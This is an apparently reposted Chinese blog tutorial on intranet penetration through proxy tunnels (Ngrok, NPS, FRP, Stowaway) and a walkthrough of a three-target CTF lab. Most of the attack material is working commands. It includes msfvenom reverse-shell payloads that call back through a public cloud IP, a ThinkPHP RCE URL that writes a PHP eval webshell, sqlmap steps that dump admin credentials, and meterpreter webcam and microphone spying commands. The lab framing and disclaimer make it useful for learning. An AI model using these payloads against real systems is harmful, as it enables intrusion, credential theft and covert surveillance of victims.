p70 内网安全-域横向内网漫游 Socks 代理隧道技术(NPS、FRP、CFS 三层内网漫游)

news2024/9/30 20:50:00

数据来源

        本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。  


必要基础知识点:

  • 内外网简单知识
  • 内网 1 和内网 2 通信问题
  • 正向反向协议通信连接问题
  • 内网穿透代理隧道技术说明

演示案例:

  • 内网穿透 Ngrok 测试演示-两个内网通讯上线
  • 内网穿透 Frp 自建跳板测试-两个内网通讯上线
  • CFS 三层内网漫游安全测试演练-某 CTF 线下 2019

案例 1-内网穿透 Ngrok 测试演示-两个内网通讯上线 

 实验环境:两个不同的内网(有网络)实现穿透控制(我这里开两台虚拟机)

1)注册-购买-填写-确认

Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

 开通成功,总共花费2元,都是实名的不要攻击别人主机,很容易就找到你

 我这里先改一下代理的配置

2)下载客户端

我这里下载放到kali中 

Sakura Frp | 樱花内网穿透 — 免费内网穿透_免费端口映射_高速_高防节点_不限流量_Minecraft我的世界_微信开发调试_群辉NAS_无需公网_免备案

2)启动客户端

#  启动客户端       自己的隧道id           
./sunny clientid 223404400069	

 相当于对方访问你代理服务器上的域名,就会指向到你内网的地址192.168这边来

代理解析:首先我们刚才申请的公网域名:http:// .... .com 在公网或其他可以联网的主机上是可以访问的到的,然后我们又下载并启动了客服端,所以别人访问我们的公网域名:http:// .... .com这个连接就会被代理服务器转发到我们的客户端口也就是我们自己的内网,这样就能实现两个不同内网通信。

3)使用metasploit生成后门文件(这个软件是kali自带的其他使用:Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客)

再新建一个终端执行下面的命令

#              攻击模块                协议名      
msfvenom -p windows/meterpreter/reverse_http lhost=代理服务器的域名 lport=80 -f exe -o test.exe

# 参数介绍:
# lhost  代表你是谁,这里用代理的域名  
# lport  要开启的监听端口
# exe   是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)
# -o     是指output(输出),后面跟的demo.exe是文件名,自定义随便改

4)在kali的msfconsole里开启监听,等待受害者运行上钩

msfconsole                          # 启动 metasploita命令行

use exploit/multi/handler           # 使用模块

show options                        # 查看设置,查看这个模块需要配置那些选项才能使用
set payload windows/meterpreter/reverse_http # 设置攻击载荷,这个攻击载荷要与上面用的一样才行
set lhost 192.168.1.3               # 设置侦听主机,kali自己的ip
set lport 4444                      # 帧听端口,这里要与你代理服务器中设置的本地端口一致
exploit

5)将我们刚才生成的木马复制到虚拟机中执行,然后查看kali中的监听情况

 

免费的网速慢到死,一直没法反向shell,换个内网穿透软件 

我这里改用腾讯云搭建nps实现内网穿透 (参考)

如果你需要购买腾讯云,可以参考我之前的的教程:(105条消息) 将 node + mysql + vue 部署到服务器_nodejs+mysql配置云服务器_正经人_____的博客-CSDN博客

我的内网穿透客户端与服务端 参考这篇文章搭建的:NPS内网穿透的搭建与演示 - 腾讯云开发者社区-腾讯云 (tencent.com)

连接腾讯云域操作腾讯云用到的软件:xfp 7与xshell 7

1) 下载NPS的服务端与客户端工具

2)下完成后把服务端的文件解压上传到腾讯云的目标下,并设置权限(随便一个目录看个人习惯)

这里设置权限有两种方法:

1、就用Xftp工具自带的功能设置 

 2、使用命令设置 

sudo chmod 777 nps    # 赋予权限,nps 是要设置的文件

3)修改配置文件:服务端配置文件

 我这里就改了web管理端口,默认的8080我的被占用了

如果你要改其他的可以参考这篇端口的说明来改

最后在腾讯云开放的端口 (端口不开放会被防火墙拦截 )

下面说一下我遇到的问题域配合木马上线主机: 

4)启动服务端并访问web管理页面

启动服务端

# 切换到npc的根目录下(这里你们要改成自己的存放路径)
cd /opt/内网穿透/NPS/linux_386_server

# 启动nps
./nps

访问web管理页面(如果能成功访问,恭喜你服务端配置成功了)

使用用户名和密码登陆(默认admin/123,正式使用一定要更改,修改/opt/nps/conf/nps.conf配置文件中的web_password)

5)启动客户端

先在web的管理页面创建客户端

 我的客户端是安装在kali中

命令执行后出现像下面这样的就是启动成功了 

 6)然后就可以创建代理了 - 创建一个TCP隧道

在web管理页面创建

访问公网ip+10001端口就是相当于访问我们本地的4444,所以后面我们只需要监听本地的4444端口就能接收到木马上线的数据

7)创建木马并开启监听

生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=公网ip(腾讯云的ip) lport=10001 -f exe -o demo.exe

# 注意这里使用的攻击载荷是window64位然后是TCP连接的(windows/x64/meterpreter/reverse_tcp)之前是http不要搞错了
# 10001 是刚才在服务器开启的端口,这里也要一样
# 其他参数跟我之前介绍的一样就不多说了

开启监听

进入msfconsole环境

msfconsole

使用模块

use exploit/multi/handler

设置攻击载荷(要与刚才生成木马的载荷一样)

set payload windows/x64/meterpreter/reverse_tcp

设置监听主机与端口(就是当前kali的ip,要与在服务端口设置的内网ip一样不然监听不了

set LHOST 192.168.1.3
set LPORT 4444

最后启动模块

run

8)将刚才生成的木马文件复制到受害者主机上(我这里是win7虚拟机,注意我们刚才生成的木马是windows64位的文件,所以这里也要符合要求不然运行不了)

运行后回到kali的监听页面查看

拿到这里反向shell能干嘛我这里就不多说了,可以输入:help   # 查看帮助(可以打开对方的摄像头之类的很多隐私操作,所以建议你们平时没事还是用胶布之类的东西把摄像头挡住,不然被监控了都不知道)

这个帮助信息是英文的,需要中文解释的可以看我之前写的文章:Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客

 比如:

screenshare    

共享实时监视远程用户桌面

record_mic从默认麦克风录制音频X秒
webcam_chat开始视频聊天
webcam_list列出网络摄像头
webcam_snap从指定的网络摄像机拍摄快照
webcam_stream从指定的网络摄像机播放视频流(打开摄像头)

最后不得不说便宜没好货,还是有个公网ip方便,能干很多东西比如上传网站、反向shell和很多外网攻击都要用到公网ip,能省很多钱,我要是知道公网ip也能搭建内网穿透我就不搞那个工具了,浪费我两蚊纸。。。。

案例 2-内网穿透 Frp 自建跳板测试-两个内网通讯上线(参考)

自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们

Frp下载:Releases · fatedier/frp (github.com)

安装服务端(frps

1)将下载的文件解压上传到服务器

2)修改配置文件并启动服务端(腾讯云主机记得修改防火墙配置出入口))

修改配置文件frps.ini

[common]
# 这个默认端口是7000,就是客户端和服务端通信的,不是你转发的那个端口
# 如果这个要改了,客户端的7000也要改成和这里一样。
bind_port = 6660

# 这个是frp的web管理控制台的用户名密码和登录端口
dashboard_user = admin
dashboard_pwd = aaa@Wcb123
dashboard_port = 6661

# 这个token之后在客户端会用到,相当于客户端登录服务器端,毕竟这个东西不能随便给人用,自己随便输入一串字符串就行
token = wertyoqazxcvbnjhgfcvbn

# 心跳连接:必须得有,frp 0.43.0版本如果不加,60秒就会自动断开连接!
# 服务器就加这一条,客户机每台都要加。
heartbeat_timeout = 30

改为配置文件后,腾讯云也要开放对应的端口 

运行frpsc(这里要设置一下frps文件权限,方法跟上面一样,这里就不多说了)

./frps -c frps.ini

登录服务器web管理端

安装客户端-frpc (我这里用的文件根刚才服务端上传的文件一样,懒的分开)

1)修改配置文件frpc.ini

[common]
# 你frp服务器的公网ip地址
server_addr = 0.0.0.0
# 这里要与服务端的连接端口一样
server_port = 6660 
# token与frps.ini 相同
token = wertyoqazxcvbnjhgfcvbn


# 这里取名随意,一般有意义就行
[ssh]
# 穿透协议类型,可选:tcp,udp,http,https,stcp,xtcp,这个设置之前必须自行搞清楚应该是什么
type = tcp
# 你当前内网服务器的网卡IP地址,不要用127.0.0.1
local_ip = 0.0.0.0
# 转发给本机的端口
local_port = 10000
# 服务端用 6662 端口转发给本机
remote_port = 6662


# 服务器与客户机之间的心跳连接:如果没有,每隔60秒就会自动断开连接!!!
heartbeat_timeout = 30

腾讯云要开放端口

2)运行frpc

./frpc -c frpc.ini

 这个时候打开fpr服务端的命令行就可以确认是否成功了

3)制作木马测试是否能上线

生成后门

# lport要与frpc.ini文件的remote_port属性相同
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=公网ip lport=6662 -f exe -o frp.exe

启动监听

msfconsole                                      # 进入msfconsole环境
use exploit/multi/handler                       # 使用模块
set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷要与生成木马时用的一样
set LHOST 192.168.1.3                             # 设置监听ip,本机ip
set LPORT 10000                                  # 设置监听端口,要与frpc.ini的local_port属性相同
run                                             # 启动模块

4)靶机运行木马(frp.exe)即可(我这里是要win7中运行)

过程:木马通过6662端口把数据传递给服务端,服务端收到后就会转发给我们的本机/客户端的10000端口,然后我们在本机监听了10000端口所以最后成功反向shell

木马运行服务端会接收并转发数据 

  

案例 3 - CFS 三层内网漫游安全测试演练-某 CTF 线下 2019

参考:(12条消息) CFS 三层内网漫游安全测试演练_acepanhuan的博客-CSDN博客

十分感谢这位老哥,我找了很多复现文章都没有给出靶机环境的下载链接就这位老哥有。

大致思路:
攻击者kali与Target1网卡是同一网段,先通过同一网段入侵到Target1再通过Target1上的VMnet3网卡(我这里是VM1),与Target2建立通信并入侵,然后再通过Target2上的VMnet2网卡,入侵Target3

来源 2019 某 CTF 线下赛真题内网结合 WEB 攻防题库,涉及 WEB 攻击,内网代理路由等技术,每台服务器存在一个 Flag,获取每一个 Flag 对应一个积分,获取三个 Flag 结尾。

靶机环境搭建:

下载靶场虚拟机:https://pan.baidu.com/s/1O9pgm9UZCSIdifMEb0E9ZA#list/path=%2F
提取码:qaza(这是个永久链接,只要分享者不取消)

下载完成后就可以导入虚拟机,我的第一次导入都失败重试就好了

老哥没有给出开机密码我又找了其他文章(参考)

target1和target2账号密码:root / teamssix.com 

target3开机密码:teamssix.com 

1)先配置一下虚拟机的网络

VM1:192.168.22.0 

VM2:192.168.33.0 

VM8:192.168.1.0 

然后给虚拟机分配网卡 

名称

网卡

kali

VM8

Target1

VM8、VM1

Target2

VM1、VM2
Target3VM2

 

2)检测各个虚拟机是否可以通信

kali《--------------》target1                 可以ping通的原因:kali与target1都有桥接到相同的网卡VM8

target1《--------------》target2                                           target1与target2都是桥接到VM1

target2《--------------》target3                                           target2与target3都是桥接到VM2      

能出现下面这种网页一般都是使用了某种网站的搭建框架,不然一般都是空白页 

这里就可以得到Target1的ip是:192.168.1.75

我们这里都能访问 Target1的端口这就说明他们是可以互相通信的,所以后面就尝试:target1《--------------》target2   target2《--------------》target3

我这里使用xshell连接虚拟机执行命令(在虚拟机运行命令太麻烦)

因为我发现target1与target2都开启了ssh服务(22端口)不然我也懒得搞

这里需要注意的是如果要在真实机访问虚拟机,那你必须要开真实机开启虚拟机对应的网卡

开始连接

Target2、3虚拟机就不用连接了

测试Target1是否能与Target2通信

 ping 192.168.22.129 -c4      # -c4 表示发送4个包,不写就是一直ping

 Target3中尝试pingTarget2(注意这里是pingVM2网卡的ip,192.168.33,刚才是22)

ping 192.168.33.128

3)设置宝塔启动web服务(刚才我们访问Tagrget1的80端口时页面显示是找不到网站,这是因为靶机没有开启web服务,所以要设置一下

Tagrget1

地址:http://你的Tagrget1虚拟机的IP:8888

这里提示我们要输入一条命令才能查看宝塔面板入口,那就按照提示来 

/etc/init.d/bt default

Bt-Panel-URL:你的ip:8888/a768f109
username: eaj3yhsl
password: 41bb8fee

 有了访问的入口与登录账号我们就登录看看

添加完成后网站的80端口就可以访问了

Target2也是同样的方法,进行入口、账号获取

        不过到这里你会发现一个问题,现在只有Target1能访问Target2,但是Target1无法打开浏览器,这就打不开Target2的宝塔面板了,我不知道别人在这里是如何解决的,我这里的解决方案:在真实机开启Target2对应的网卡,这样就可以在真实机访问Target2虚拟机

 

Bt-Panel-URL: http://你的ip:8888/2cc52ec0
username: xdynr37d
password: 123qwe..            # 这里我用我获取到的密码:766e248d  登录不成功,真坑

访问一下Target2的80端口看看 

到这里靶机环境配置完成了,下面开始攻击演练

攻击演练

1)信息收集(无论是什么攻击信息收集都是前提,这决定你是否能找到漏洞)

   如果是现实情况下我们并不知道那台目标主机是可以与我们攻击机kali进行通信的,这时就可以借助工具进行扫描,我这里使用kali自带的nmap工具进行扫描

  • 先收集一下ip当前攻击机可以访问的靶机ip
nmap -sP 192.168.1.0/24  # 扫描192.168.1.0整个网段的存活地址

筛选一下那个ip是我们要找的靶机虚拟机(如果是靶机肯定会开放一些端口如http的80,或远程桌面的3389之类的) 

一般一个网段的开头ip或结尾ip会被设置为网关地址(1或254),但是这只是一种规范并不是绝对的

nmap 目标ip           # 简单扫描啥都不写,会先扫描在线状态再扫描所有端口号

访问一下靶机的80端口看看 

  • 收集到了目标网段使用ThinkPHP V5搭建的

  • 使用工具检测目标网站是否存在漏洞:ThinkPHP getshell工具

  • 确认存在远程命令执行漏洞 

也可以查看一下ip

http://192.168.1.75//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

或者你不想用工具也可以手动Getshell

编码前:
<?php @eval($_POST["cmd"]);?>
url编码后:
PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=
POC:
http://192.168.1.75/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd.php

2)使用远程命令执行漏洞直接給目标生成php的一句话马(因为目标网站就是php写的,所以这里生成php的木马)

# echo 这个命令无论目标是windows还是linux系统都可以用
echo '<?php @eval($_POST["pass"]);?>' > shell.php

# 命令1:  echo 需要添加的字符串 >>[路径\]文件名.扩展名
# 注释:>>和>都可以将命令的输出到某个文件中,若文件不存在,则同时创建该文件
#  >>为追加
#  >为覆盖

有了木马后我们就可以使用工具连接它 (这里推荐用蚁剑连接,我用菜刀连接不上)

中国菜刀:https://pan.baidu.com/s/1gvTQzWc3T4V4jVT7AQsbCg?pwd=wavp

中国蚁剑:

  • 官网:Releases · AntSwordProject/AntSword-Loader (github.com)
  • 下载:win64 
  • 安装参考:中国蚁剑(antSword)下载、安装
# 连接url   密码:pass (刚才生成木马时设置的)
http://192.168.1.75/shell.php

3)木马连接成功后我们就可以针对Target_1进行信息搜集(成功拿到Target_1主机的flag

        首先要明白我们现在演示的案例就是CFS比赛的线下复现,这种比赛的获胜条件就是成功夺旗(成功找到并读取flag.txt文件的内容) 

        所以这里我们先通过蚁剑寻找Target_1虚拟机中看是否存在flag.txt文件

        但是这个比赛的题目就是找到3份flag文件分别存放在3个虚拟机中,之前我们就通过存活ip扫描只发现一个虚拟主机(Target_1),所以其他两台主机的突破口就在这台虚拟机上,所以我们要进行信息收集。

ip a         # 收集当前的主机网卡信息

这里就发现Target_1主机还有网卡ip网段是:192.168.22.0/24  但是我们现在用kali是无法与该网段通信的,这就需要借助“跳板

4)制作“跳板”让kali虚拟机可以访问处于另一个网段的Target_2靶机

        这里就用MSF生成木马制作跳板(用cs也行,CS和MSF的数据是可以进行交互的,后面的文章会详细介绍),msf是kali自带的不用自己再安装就比较方便,而且如果用CS制作木马还需要借助插件才行。(感兴趣的可以看这篇:cobaltstrike的安装与基础使用_cobalt strike windows运行_正经人_____的博客-CSDN博客)

生成linux系统木马

#                  使用linux攻击模块    tcp协议的木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=1111 -f elf >text.elf

# LHOST 本机ip(kali的ip)
# LPORT 要开启的监听端口(随便写,不重复就行)

开启端口监听(制作鱼钩)

msfconsole                  # 启动 metasploita命令行
use exploit/multi/handler   # 使用模块
set payload linux/x64/meterpreter/reverse_tcp   # 这个攻击载荷就是上面我们使用的攻击载荷
set LHOST 192.168.1.3       # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址
set lport 1111              # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样
run                         # 运行模块,简单理解就是把鱼钩放到河里

木马通过蚁剑上传到Target2并执行

执行目标

chmod +x text.elf   # 赋予text.elf文件执行权限
./text.elf          # 手动执行木马

 回到kali查看监听情况

5)使用代理实现内网不同网段之间的互相访问

        kali是处于192.168.1.0/24网段,Target2是处于92.168.22.0/24网段,如何让kali访问22网段与Target2建立通信?

        msf和cs都有代理集成功能,我们使用这些功能设置.,先添加路由

run get_local_subnets  # 获取Target1的网卡信息

run autoroute -p      # 查看当前路由,发现当前路由是空的

run autoroute -s 192.168.22.0/24   # 添加对22网段的路由

# 会话为session1

接下来通过MSF自带的代理模块来实现Kali访问target2

        建立路由后kali可以和22网段进行通信(只能在MSF上面进行通信),那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办?
  为了解决这种情况,我们可以在本地开一个代理(MSF自带一个代理模块),通过这个代理给其他人一个端口去连接,然后我们就可以用自己的真实机去连接kali的端口,这样就能访访问192.168.22.0/24网段了

exit 退回上一级,执行下面的命令开启代理


use auxiliary/server/socks_proxy  # 使用代理模块
set srvport 2222                  # 设置连接端口,随便写,不重复就行
set srvhost 0.0.0.0               # 设置可以连接的ip,0.0.0.0匹配所有ip
run                               # 启动模块

启动后msf会在本机kali开启一个2222端口
通过socks协议,将当前msf的会话分享到2222代理端口上
kali可以通过其他的工具去访问代理端口 

配置 proxychains 代理工具(这个工具是kali自带的不用安装)

proxychains 工具可以用来调用其他的工具

vim /etc/proxychains4.conf         # 打开配置文件

# 现在新版本是5、kail的ip、刚才设置的代理端口
socks5 192.168.1.3 2222

配置好之后就可以开启扫描

如果使用的是socks4a的话,socks4a不支持icmp协议,所以要使用不进行ping命令的-Pn

-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。

-sT:扫描 TCP 数据包已建立的连接 connect

proxychains4 nmap -Pn -sT 192.168.22.0/24 -p80  # 用代理扫描很慢

proxychains4 nmap -Pn -sT 192.168.22.128 -p80    # 为了省时间我直接扫描Target2的ip地址

Nmap通过探测将端口划分为6个状态:

  • open:端口是开放的
  • closed:口是关闭的
  • filtered:端口被防火墙IDs/IPs屏蔽,无法确定其状态
  • unfiltered:第口没有屏蔽,但是否开放需要进一步确定
  • open | filtered:端口是开放的或被屏蔽。
  • closed | filtered:端口是关闭的或被屏蔽
     

一直扫描不出来 

--------------------------------这代理工具搞的我心态爆炸,半天都搞不好,换个代理工具--------------------------------

使用stowaway代理(这个工具用起来贼爽,一次就成功,配置方便)(参考)

这个攻击的其他使用参考:(6条消息) Stowaway搭建多级网络代理_stowaway代理_山山而川'的博客-CSDN博客

项目地址:GitHub - ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters

下载地址:Release Stowaway · ph4ntonn/Stowaway · GitHub 

服务端的上传的kali中客户端的通过蚁剑上传到Target1虚拟机,跟刚才上传木马的方法一样

先配置服务端(监听5566端口,密码123456   (可改)

sudo chmod 777 linux_x64_admin     # 赋予执行权限
#                       kali的ip:监听端口随便写    123456是连接密码
./linux_x64_admin -l 192.168.1.3:5566 -s 123456

  

然后去运行客户端

chmod 777 linux_x64_agent        # 赋予执行权限
#                     kali的ip  这里的端口和密码要与客户端一样
./linux_x64_agent -c 192.168.1.3:5566 -s 123456 --reconnect 8

# --reconnect 8 当控制端掉线时客户端每隔8s重连控制端

查看服务端

客户端成功连接,在kali 6001端口开启socks代理(端口可改) 

use 0                 # use id                     选择要使用的目标节点
socks 6001            # socks lport(外部访问端口)  启动socks5服务器

到这里我们的代理就设置成功了,我们可以在kail或真实机使用kali的ip+6001端口访问Target1了(是不是贼简单)

6)搞完代理之后我们就可以访问Target2虚拟机了,现在针对Target2进行信息收集

我们现在使用nmap扫描是扫描不了的,要给kali配置一下本地代理

vim /etc/proxychains4.conf         # 打开配置文件

# 现在新版本是5、kail的ip、刚才设置的代理端口
socks5 127.0.0.1 6001

proxychains4 nmap -Pn -sT 192.168.22.0/24 -p80  # 用代理扫描很慢

proxychains4 nmap -Pn -sT 192.168.22.128 -p80    # 为了省时间我直接扫描Target2的ip地址

我这里扫描整个网段会漏掉很多ip,没办法只能换成单个扫描 

 换单个扫描

发现有80端口开启,这个端口一般都是用来部署web网站的,访问一下看看

要给浏览器使用代理我们才能正常访问Target1

我这里使用插件开启代理,我这里用的代理工具是:Proxy SwitchyOmega

下载:浏览器的扩展商店中直接下载安装(谷歌、微软的浏览器都可以)

给浏览器设置代理

使用代理并刷新网页,成功访问八哥CMS

但是我们看这个网站没有任何提示,CFS的比赛一般都是有提示的,没有明显的提示我们就查看网站源代码

7)对目标网站进行SQL注入 

按照提示访问:/index.php?r=vul&keyword=1 

提示给出的url可以访问,使用sqlmap工具扫描看看 (这个工具也是kali自带的)

一、检测是否存在SQL注入漏洞

# 测试目标url是否存在sql注入         可能存在sql注入的url地址
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1"

# 注意这里也要使用 proxychains4 代理来运行工具,不然访问不了,有提示选择我都选 “Y”

第二步:获取数据库名

        在第一步检测的的命令后面加上:--dbs      #  database server获取所有数据库名

proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --dbs

第三步:获取指定数据库表

    在第一步检测的的命令后面加上: -D 数据库名称 --tables         # -D(Database)指定想要获取的数据库名,--tables 枚举(遍历)DBMS数据库中的表

我先获取第一个数据库的看看:bagecms

proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms --tables

第四步:获取指定数据库列/表项

        在第一步检测的的命令后面加上:-D 数据库名 -T 数据库的表名 --columns  # --columns 列出表项/例

数据表先看这个:bage_admin    (毕竟admin是管理员英文的缩写)

proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --columns

        这一步很奇怪,之前一直打印不出数据表的列名,然后我也忘记我改了哪里突然就可以了,后面再试也是没问题,视频中的是手动注入我也没法参考,如果你们也遇到我刚才的问题只能靠你们自己排查了,需要注意的是我这里的代理工具的服务端有时会自己退出,然后进行sql扫描就报错,如果你们也就到sql工具无法扫描就可以检查一下代理看看 

 第五步:获取数据

        把第四步命令后面的--columns换成:--dump  # 读取数据

proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --dump

这里就得到了账号信息:

用户名:admin

密码:46f94c8de14fb36680850768ff1b7f2a (123qwe)

        有账号信息这就说明这个网站肯定有个登录页面,但是我们现在不知道登录页面的URL是啥,这就说明我们的信息收集还不够,之前我们已经收集了目标网站的ip端口信息,现在我们收集一下目标主机的文件目录信息,看目标的文件目录的文件中是否存放我们需要的信息,这就进入下一步骤,信息收集之文件目录收集

8)信息收集之文件目录收集

我这里使用kali自带的扫描工具dirb进行扫描,就简单的介绍工具的使用如果需要更深层次的使用自己点这个超链接查看(参考)

这里一样使用 proxychains4 代理运行工具, 不然我们访问不了Target2的ip

# 使用默认字典进行扫描
proxychains4 dirb http://192.168.22.129

# 或者将扫描结果存放在指定的文件中方便查看,-o 指定结果生成的目录
proxychains4 dirb http://192.168.22.129 -o /home/kali/桌面/output.txt

# 不进递归扫描,默认就是递归这样会扫描所有文件包括子文件(我这里为了省时间就取消),-r 取消递归
proxychains4 dirb http://192.168.22.129 -o /home/kali/桌面/output.txt -r

ctf中敏感文件泄露的题型主要有以下几种(原文)

  • robots.txt

        robots.txt放置在一个站点的根目录下,而且文件名必须全部小写,是搜索引擎中访问网站的时候要查看的第一个文件,记录一些目录和CMS版本信息。ctf中可以在直接访问*/robots.txt来获取文本信息。

  • vim备份文件

        当用户在Linux编辑器编辑文件但意外退出时会在当前目录下生成一个备份文件,文件名格式为:文件名.swp,意外退出更多次后缀可以为.swo .swn……ctf中访问*/.index.php.swp可以下载

  • gedit备份文件

        在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“~”的文件,其文件内容就是刚编辑的内容。格式一般是文件名加后缀,例如:index.php~ ,ctf中也是直接访问*/文件名~

  • readme.md

        记录CMS版本信息,有的甚至有Github地址。ctf中直接访问*/readme.md
www/wwwdata/wwwroot/web/webroot/ & .zip/rar/tar.gz/7z/tar
往往是网站的源码备份。ctf中访问后可以下载本地查看

这里发现了robots.txt文件这个是CTF比赛的敏感文件,我们访问他看看

访问 /admini/ 404

访问 /index.php?r=admini 成功来到后台登录页面(这种pc的系统一般都是后台管理系统,所以他的登录页面也叫后台登录页)

进来后成功拿到Target2靶机的Flag

现在就剩下最后一个靶机-Target3

9)先看看这个管理页面有没有什么提示或什么漏洞可以被我们利用的

<?php @eval($_POST["pass"]);?>

随便找个文件夹下的文件编辑都可以 

尝试先访问一下文件

解决方案:先观察一下网站的路由是如何切换的,也就是网站网页的切换

使用: http://192.168.22.129/index.php?r=question/index.php   访问看看

改一下路由不加index.php

先用蚁剑连接木马看看,后面再讲另一种比较稳妥的方式

这里要用蚁剑连接木马也要设置一下代理

连接木马看看

        讲一下更稳妥的访问木马方式,还记得刚才我们访问失败跳出来的404报错页面?这个页面只要是正规一点的网站都会有,而且规则都是一样的当路由匹配不上,也就是找不都你要访问的页面就会自动转到这个404页面,所以我们可以将木马加入到这里404页面中,然后我们随便访问一个页面都能连接上木马。

10)跟之前攻击Target2靶机一样上传Stowaway代理工具让我们的攻击机(kali)可以访问Target3靶机,然后再次进行信息收集为后面的攻击做铺垫

        上一步我们检测出Target2靶机也是有两个网卡,一个是192.168.22.0/24这个我们已经给Target1靶机设置过代理,kali中通过Target1做为跳板就可以访问Target2靶机,另一个192.168.33.0/24我们是访问不了的,所以也要跟之前一样给Target2设置代理,kali中再通过Target2靶机当做跳板访问92.168.33.0/24网段。

设置Target2靶机的代理

        这里只需要上传一个客户端程序到Target2靶机中就可以了,我们把kali当做服务端之前已经上传过一个代理服务端程序,一个服务端可以对接多个客户端

首先靶机这边要运行客户端的程序创建一个服务端

#     靶机自己的ip:要开启的端口(不重复就行)   之前kali服务端用的连接密码
./linux_x64_agent -l 192.168.22.129:5678 -s 123456

# -l 此参数admin&&agent用法一致,仅用在被动模式下,指定监听地址

kali这边在原来的服务端的终端上运行命令

# connect    <ip:port>    连接到新节点(加入子节点)
connect 192.168.22.129:5678

# 这里的ip和端口是刚才靶机的ip域端口

 客户端成功连接,在kali 6002端口开启socks代理(端口可改) 

back               # back 返回父面板
use 1              # use id                     选择要使用的目标节点
socks 6002         # socks lport(外部访问端口)  启动socks5服务器

 又要改一下配置文件

vim /etc/proxychains4.conf

socks5 127.0.0.1 6002

11)针对Target3虚拟机进行信息收集

proxychains4 nmap -Pn -sT 192.168.33.0/24  # 扫描33整个网段(数据慢)

proxychains4 nmap -Pn -sT 192.168.33.33    # 直接扫描Target3靶机的ip(速度快)

发现目标开放了445端口,猜测存在永恒之蓝漏洞 

 

涉及资源

  • Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器
  • Sakura Frp | 樱花内网穿透 — 免费内网穿透_免费端口映射
  • 示例 | frp
  • GitHub - fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet.
  • GitHub - rofl0r/proxychains-ng
  • FRP 内网穿透-安全客 - 安全资讯平台 FRP 内网穿透
  • https://www.cnblogs.com/xuyaowen/p/ProxyChians4.html Linux安装proxychains-ng
  • frp多层socks代理+端口映射_frp socks_m0s30的博客-CSDN博客 frp多层socks代理+端口映射
  • GitHub - ehang-io/nps: 一款轻量级、高性能、功能强大的内网穿透代理服务器。
  • 【内网学习笔记】12、nps 的使用 | TeamsSix nps 的使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/485006.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux用户管理指令

这里写自定义目录标题 一 增加新用户及密码二 切换用户三 userdel 删除用户四 查看用户登录信息五 让普通用户成为管理员1. 修改环境配置文件2.设置用户和密码 六 查看创建哪些用户 一 增加新用户及密码 useradd:加用户名 passwd&#xff1a;加用户密码 [rootlocalhost ~]# u…

HBASE整理

HBASE整理 一、HBASE由来 思考: HDFS主要适用于什么场景呢? 具有高的吞吐量 适合于批量数据的处理操作思考: 如果想在HDFS上, 直接读取HDFS上某一个文件中某一行数据, 请问是否可以办到呢? 或者说, 我们想直接修改HDFS上某一个文件中某一行数据,请问是否可以办到呢?HDFS并…

【Python】芜湖市空气质量指数可视化(散点图、分类散点图、单变量分布图、线性回归拟合图、相关性热力图)

【Python】芜湖市空气质量指数可视化 本文仅供学习参考&#xff0c;如有错误&#xff0c;还请指正&#xff01; 一、简介 空气质量指数&#xff08;Air Quality Index&#xff0c;AQI &#xff09;简而言之就是能够对空气质量进行定量描述的数据。空气质量(Air Quality )的好坏…

《SQLi-Labs》02. Less 6~10

sqli Less-6知识点题解 Less-7题解 Less-8题解 Less-9知识点题解 Less-10题解 sqli。开启新坑。 Less-6 知识点 布尔盲注。与 Less-5 基本相同。这里只简略写大致步骤。 length() 函数&#xff1a;返回字符串所占的字节数。ascii() 函数&#xff1a;返回字符串最左字符的ASC…

OpenGL开发必过的坎------开发环境的准备(Windows10)

前言 图形编程一直以来都是计算机科学中最具挑战性的主题之一。随着限制VR技术的兴起&#xff0c;越来越多的公司开始涉足VR领域。目前来看使用最多的是Unity3d来开发&#xff0c;但是像浏览器&#xff0c;将2D应用3D化&#xff08;把2D的应用界面投到一个3D的场景中&#xff…

FilmConvert Nitrate for Mac(fcpx/胶片模拟调色Pr/AE插件)

FilmConvert Nitrate是一款针对视频后期处理的插件&#xff0c;可用于颜色校正和外观看调整。它提供了各种预设&#xff0c;以方便用户足够快速地修改视频的外观&#xff0c;并还包含一个自定义工具集&#xff0c;以方便用户可以调整多个参数来达到他们所需要的效果。 该插件支…

SpringBoot + Druid DataSource 实现监控 MySQL 性能

